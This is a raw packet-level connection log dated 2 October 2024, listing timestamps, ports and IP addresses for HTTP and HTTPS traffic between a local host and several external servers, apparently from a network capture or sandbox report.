Oct 2, 2024 17:17:14.658073902 CEST	65270	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:14.658112049 CEST	443	65270	104.21.84.18	192.168.2.6
Oct 2, 2024 17:17:14.658128023 CEST	65270	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:14.658134937 CEST	443	65270	104.21.84.18	192.168.2.6
Oct 2, 2024 17:17:14.682404995 CEST	65269	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:14.682436943 CEST	443	65269	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:14.873579979 CEST	65271	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:14.873631001 CEST	443	65271	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:14.873784065 CEST	65271	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:14.877120972 CEST	65271	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:14.877137899 CEST	443	65271	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:14.890185118 CEST	65272	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:14.890230894 CEST	443	65272	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:14.890312910 CEST	65272	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:14.892311096 CEST	65272	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:14.892326117 CEST	443	65272	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:14.960977077 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:14.966089964 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:14.966156960 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:14.981302977 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:14.986512899 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:15.359040022 CEST	443	65272	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:15.359121084 CEST	65272	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:15.361917973 CEST	65272	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:15.361936092 CEST	443	65272	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:15.362364054 CEST	443	65272	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:15.364294052 CEST	65272	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:15.364331007 CEST	65272	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:15.364402056 CEST	443	65272	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:15.526526928 CEST	443	65271	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:15.526618958 CEST	65271	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:15.529195070 CEST	65271	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:15.529202938 CEST	443	65271	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:15.530946016 CEST	65271	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:15.530951023 CEST	443	65271	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:15.583409071 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:15.583471060 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:15.587302923 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:15.592150927 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:15.829983950 CEST	443	65272	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:15.830107927 CEST	443	65272	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:15.830173016 CEST	65272	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:15.838586092 CEST	65272	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:15.838649035 CEST	443	65272	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:15.838687897 CEST	65272	443	192.168.2.6	104.21.18.193
Oct 2, 2024 17:17:15.838705063 CEST	443	65272	104.21.18.193	192.168.2.6
Oct 2, 2024 17:17:15.874138117 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:15.874197960 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:15.883989096 CEST	65274	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:15.884036064 CEST	443	65274	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:15.884104967 CEST	65274	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:15.884697914 CEST	65274	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:15.884717941 CEST	443	65274	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:15.897053957 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:15.901973009 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.073956013 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.074233055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.074276924 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.074400902 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.075844049 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.080661058 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.230648041 CEST	443	65271	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:16.230732918 CEST	443	65271	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:16.230797052 CEST	65271	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:16.230850935 CEST	65271	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:16.231111050 CEST	65271	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:16.231133938 CEST	443	65271	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:16.588743925 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.588799953 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.588835001 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.588866949 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.588900089 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.588932991 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.588941097 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.588941097 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.588941097 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.588968992 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.588985920 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.589000940 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.589705944 CEST	65275	80	192.168.2.6	45.132.206.251
Oct 2, 2024 17:17:16.590071917 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.590121031 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.590241909 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.591114998 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.594762087 CEST	80	65275	45.132.206.251	192.168.2.6
Oct 2, 2024 17:17:16.594974995 CEST	65275	80	192.168.2.6	45.132.206.251
Oct 2, 2024 17:17:16.594974995 CEST	65275	80	192.168.2.6	45.132.206.251
Oct 2, 2024 17:17:16.595010042 CEST	65275	80	192.168.2.6	45.132.206.251
Oct 2, 2024 17:17:16.597903967 CEST	443	65274	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:16.597980022 CEST	65274	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:16.598875046 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.599921942 CEST	80	65275	45.132.206.251	192.168.2.6
Oct 2, 2024 17:17:16.600084066 CEST	65274	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:16.600089073 CEST	80	65275	45.132.206.251	192.168.2.6
Oct 2, 2024 17:17:16.600107908 CEST	443	65274	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:16.600120068 CEST	80	65275	45.132.206.251	192.168.2.6
Oct 2, 2024 17:17:16.600147963 CEST	80	65275	45.132.206.251	192.168.2.6
Oct 2, 2024 17:17:16.600385904 CEST	443	65274	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:16.601730108 CEST	65274	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:16.601730108 CEST	65274	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:16.601809025 CEST	443	65274	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:16.777401924 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:16.779330969 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.794083118 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:16.794481993 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.010987043 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.028346062 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.028361082 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.029114962 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.029313087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.056688070 CEST	443	65274	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:17.056787968 CEST	443	65274	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:17.056863070 CEST	65274	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:17.057373047 CEST	65274	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:17.057399988 CEST	443	65274	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:17.057414055 CEST	65274	443	192.168.2.6	104.21.21.3
Oct 2, 2024 17:17:17.057420015 CEST	443	65274	104.21.21.3	192.168.2.6
Oct 2, 2024 17:17:17.077259064 CEST	65276	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:17.077303886 CEST	443	65276	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:17.077475071 CEST	65276	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:17.078490019 CEST	65276	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:17.078505993 CEST	443	65276	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:17.309015036 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.311419010 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.350424051 CEST	80	65275	45.132.206.251	192.168.2.6
Oct 2, 2024 17:17:17.351372957 CEST	65275	80	192.168.2.6	45.132.206.251
Oct 2, 2024 17:17:17.376488924 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.381442070 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.551471949 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.551490068 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.551507950 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.551518917 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.551529884 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.551561117 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.551606894 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.551840067 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.551883936 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.551901102 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.552033901 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.552445889 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.552467108 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.552478075 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.552491903 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.552520990 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.552683115 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.552695036 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.552706003 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.552726030 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.552757025 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.553097963 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.553119898 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.553131104 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.553159952 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.553174019 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.568382025 CEST	443	65276	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:17.568449974 CEST	65276	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:17.570807934 CEST	65276	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:17.570820093 CEST	443	65276	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:17.571109056 CEST	443	65276	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:17.572565079 CEST	65276	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:17.572602034 CEST	65276	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:17.572657108 CEST	443	65276	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:17.630124092 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.630141973 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.630153894 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.630172968 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.630199909 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.630203009 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.630211115 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.630265951 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.630508900 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.630574942 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.630584955 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.630609989 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.630625963 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.630884886 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.631052971 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.631099939 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.640022993 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.640053988 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.640065908 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.640110970 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.640129089 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.640155077 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.640166044 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.640177011 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.640196085 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.640216112 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.640295029 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.640305996 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.640316963 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.640337944 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.640367985 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.641084909 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.641097069 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.641124010 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.641161919 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.641192913 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.641246080 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.641257048 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.641268015 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.641285896 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.641319990 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.641336918 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.641900063 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.641938925 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:17.642081976 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:17.642118931 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.687887907 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.687952042 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.687967062 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.687979937 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.687992096 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688040972 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688040972 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688054085 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688066006 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688069105 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688077927 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688097954 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688141108 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688182116 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688193083 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688204050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688215017 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688220978 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688227892 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688237906 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688247919 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688257933 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688258886 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688271046 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688282013 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688297987 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688323975 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688503981 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688514948 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688524961 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688534975 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688550949 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688551903 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688563108 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688571930 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688575983 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688580990 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688587904 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688600063 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688611031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688616991 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688623905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688636065 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688646078 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:18.688647985 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688673019 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.688683033 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:18.689708948 CEST	443	65276	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:18.689826012 CEST	443	65276	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:18.690191984 CEST	65276	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:18.690308094 CEST	65276	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:18.690360069 CEST	443	65276	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:18.690390110 CEST	65276	443	192.168.2.6	172.67.177.186
Oct 2, 2024 17:17:18.690406084 CEST	443	65276	172.67.177.186	192.168.2.6
Oct 2, 2024 17:17:19.023075104 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.023159981 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.026892900 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.026926041 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.026937008 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.026967049 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.026993036 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.026995897 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027012110 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027024031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027034998 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027056932 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027067900 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027080059 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027129889 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027193069 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027204037 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027215004 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027225971 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027236938 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027239084 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027247906 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027259111 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027303934 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027353048 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027364016 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027369976 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027470112 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027481079 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027489901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027513981 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027514935 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027546883 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027856112 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027874947 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027885914 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027918100 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027925014 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.027945042 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027945042 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.027992964 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028003931 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028024912 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028032064 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028032064 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028036118 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028063059 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028085947 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028099060 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028111935 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028132915 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028143883 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028155088 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028166056 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028183937 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028183937 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028183937 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028228045 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028229952 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028229952 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028229952 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028239965 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028264046 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028286934 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028321981 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028332949 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028342962 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028368950 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028368950 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028417110 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028430939 CEST	80	65273	46.8.231.109	192.168.2.6
